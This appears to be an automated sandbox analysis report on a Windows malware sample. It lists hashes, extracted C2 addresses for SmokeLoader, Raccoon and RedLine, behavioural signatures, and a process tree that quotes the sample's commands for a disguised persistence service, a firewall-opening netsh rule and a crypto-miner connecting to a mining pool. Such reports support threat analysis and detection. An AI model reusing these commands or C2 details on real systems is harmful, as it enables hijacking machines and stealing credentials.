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Overview

overview

10

Static

static

883233a1ae...3a.exe

windows7_x64

10

883233a1ae...3a.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    27/09/2021, 09:25

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General

  • Target

    883233a1ae141a887d763b4cee1fed3a.exe

  • Size

    135KB

  • MD5

    883233a1ae141a887d763b4cee1fed3a

  • SHA1

    265cbafce6bd225dff0f3dd4e2792cd5e55ae677

  • SHA256

    948efd6ebccc98309252dee5d98879890e691fc416e6c3e969190f1273f4d61e

  • SHA512

    ac35bec37f6d011d4fff0cc32a4fbb7d4a6400f2323dbea0f49eefa099b056db9f16e376c8725d0e6edf7beb512edf111970fa993ca611200c6067651de5e546

Score
10/10
arkeichinese_generic_botnetraccoonredlinesmokeloadertofseexmrigblissc524886d28411e80660e573d1de51f17556d70f6karmabackdoorbotnetdiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

c524886d28411e80660e573d1de51f17556d70f6

Attributes
  • url4cnc

    https://t.me/hobabastrepsils

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

    botnetchinese_generic_botnet
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 1 IoCs
    stealer
  • Chinese Botnet Payload 1 IoCs
    botnet
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 60 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
    "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
      "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1640
  • C:\Users\Admin\AppData\Local\Temp\21F1.exe
    C:\Users\Admin\AppData\Local\Temp\21F1.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:956
  • C:\Users\Admin\AppData\Local\Temp\253C.exe
    C:\Users\Admin\AppData\Local\Temp\253C.exe
    1⤵
    • Executes dropped EXE
    PID:1648
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1648 -s 724
      2⤵
      • Loads dropped DLL
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:2396
  • C:\Users\Admin\AppData\Local\Temp\28F5.exe
    C:\Users\Admin\AppData\Local\Temp\28F5.exe
    1⤵
    • Executes dropped EXE
    PID:612
    • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
      "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1744
    • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
      "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1644
    • C:\Users\Admin\AppData\Local\Temp\fbf.exe
      "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Checks processor information in registry
      • Suspicious use of SetWindowsHookEx
      PID:676
  • C:\Users\Admin\AppData\Local\Temp\2D0B.exe
    C:\Users\Admin\AppData\Local\Temp\2D0B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\avbapkzx\
      2⤵
        PID:1704
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fibjhjrb.exe" C:\Windows\SysWOW64\avbapkzx\
        2⤵
          PID:1528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create avbapkzx binPath= "C:\Windows\SysWOW64\avbapkzx\fibjhjrb.exe /d\"C:\Users\Admin\AppData\Local\Temp\2D0B.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1384
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description avbapkzx "wifi internet conection"
            2⤵
              PID:1632
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start avbapkzx
              2⤵
                PID:1040
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1848
              • C:\Users\Admin\AppData\Local\Temp\340E.exe
                C:\Users\Admin\AppData\Local\Temp\340E.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1820
                • C:\Users\Admin\AppData\Local\Temp\340E.exe
                  "C:\Users\Admin\AppData\Local\Temp\340E.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:1500
              • C:\Windows\SysWOW64\avbapkzx\fibjhjrb.exe
                C:\Windows\SysWOW64\avbapkzx\fibjhjrb.exe /d"C:\Users\Admin\AppData\Local\Temp\2D0B.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1972
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1312
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2552
              • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe"
                1⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of SetWindowsHookEx
                PID:2256
                • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                  "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe" Win7
                  2⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of SetWindowsHookEx
                  PID:2456

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/612-73-0x0000000001180000-0x0000000001181000-memory.dmp

                Filesize

                4KB

                Download

              • memory/676-115-0x00000000004D0000-0x000000000058C000-memory.dmp

                Filesize

                752KB

                Download

              • memory/676-116-0x0000000000400000-0x00000000004C4000-memory.dmp

                Filesize

                784KB

                Download

              • memory/676-125-0x0000000010000000-0x0000000010018000-memory.dmp

                Filesize

                96KB

                Download

              • memory/956-68-0x00000000051C0000-0x00000000051C1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/956-62-0x0000000000B10000-0x0000000000B11000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1204-57-0x0000000002980000-0x0000000002996000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1312-103-0x0000000000080000-0x0000000000095000-memory.dmp

                Filesize

                84KB

                Download

              • memory/1500-83-0x0000000000400000-0x0000000000493000-memory.dmp

                Filesize

                588KB

                Download

              • memory/1500-88-0x0000000000400000-0x0000000000493000-memory.dmp

                Filesize

                588KB

                Download

              • memory/1640-55-0x0000000076961000-0x0000000076963000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1640-53-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1644-120-0x00000000049A1000-0x00000000049A2000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1644-113-0x00000000005F0000-0x0000000000613000-memory.dmp

                Filesize

                140KB

                Download

              • memory/1644-114-0x0000000001FA0000-0x0000000001FC2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/1644-118-0x0000000000250000-0x0000000000287000-memory.dmp

                Filesize

                220KB

                Download

              • memory/1644-122-0x00000000049A3000-0x00000000049A4000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1644-123-0x00000000049A4000-0x00000000049A6000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1644-121-0x00000000049A2000-0x00000000049A3000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1644-119-0x0000000000400000-0x00000000004CB000-memory.dmp

                Filesize

                812KB

                Download

              • memory/1648-69-0x0000000000400000-0x000000000044D000-memory.dmp

                Filesize

                308KB

                Download

              • memory/1648-67-0x0000000001BD0000-0x0000000001BFD000-memory.dmp

                Filesize

                180KB

                Download

              • memory/1744-132-0x0000000004681000-0x0000000004682000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1744-127-0x0000000002030000-0x000000000204F000-memory.dmp

                Filesize

                124KB

                Download

              • memory/1744-128-0x0000000002050000-0x000000000206E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/1744-133-0x0000000004682000-0x0000000004683000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1744-130-0x0000000000250000-0x0000000000280000-memory.dmp

                Filesize

                192KB

                Download

              • memory/1744-131-0x0000000000400000-0x00000000004C5000-memory.dmp

                Filesize

                788KB

                Download

              • memory/1744-135-0x0000000004684000-0x0000000004686000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1744-134-0x0000000004683000-0x0000000004684000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-56-0x0000000000220000-0x0000000000229000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1780-91-0x0000000000220000-0x0000000000233000-memory.dmp

                Filesize

                76KB

                Download

              • memory/1780-92-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/1820-87-0x0000000000560000-0x0000000000561000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1820-80-0x0000000000D40000-0x0000000000D41000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1820-81-0x0000000000500000-0x000000000051D000-memory.dmp

                Filesize

                116KB

                Download

              • memory/1972-106-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/2396-146-0x0000000000280000-0x0000000000281000-memory.dmp

                Filesize

                4KB

                Download

              • memory/2552-153-0x00000000002E0000-0x00000000003D1000-memory.dmp

                Filesize

                964KB

                Download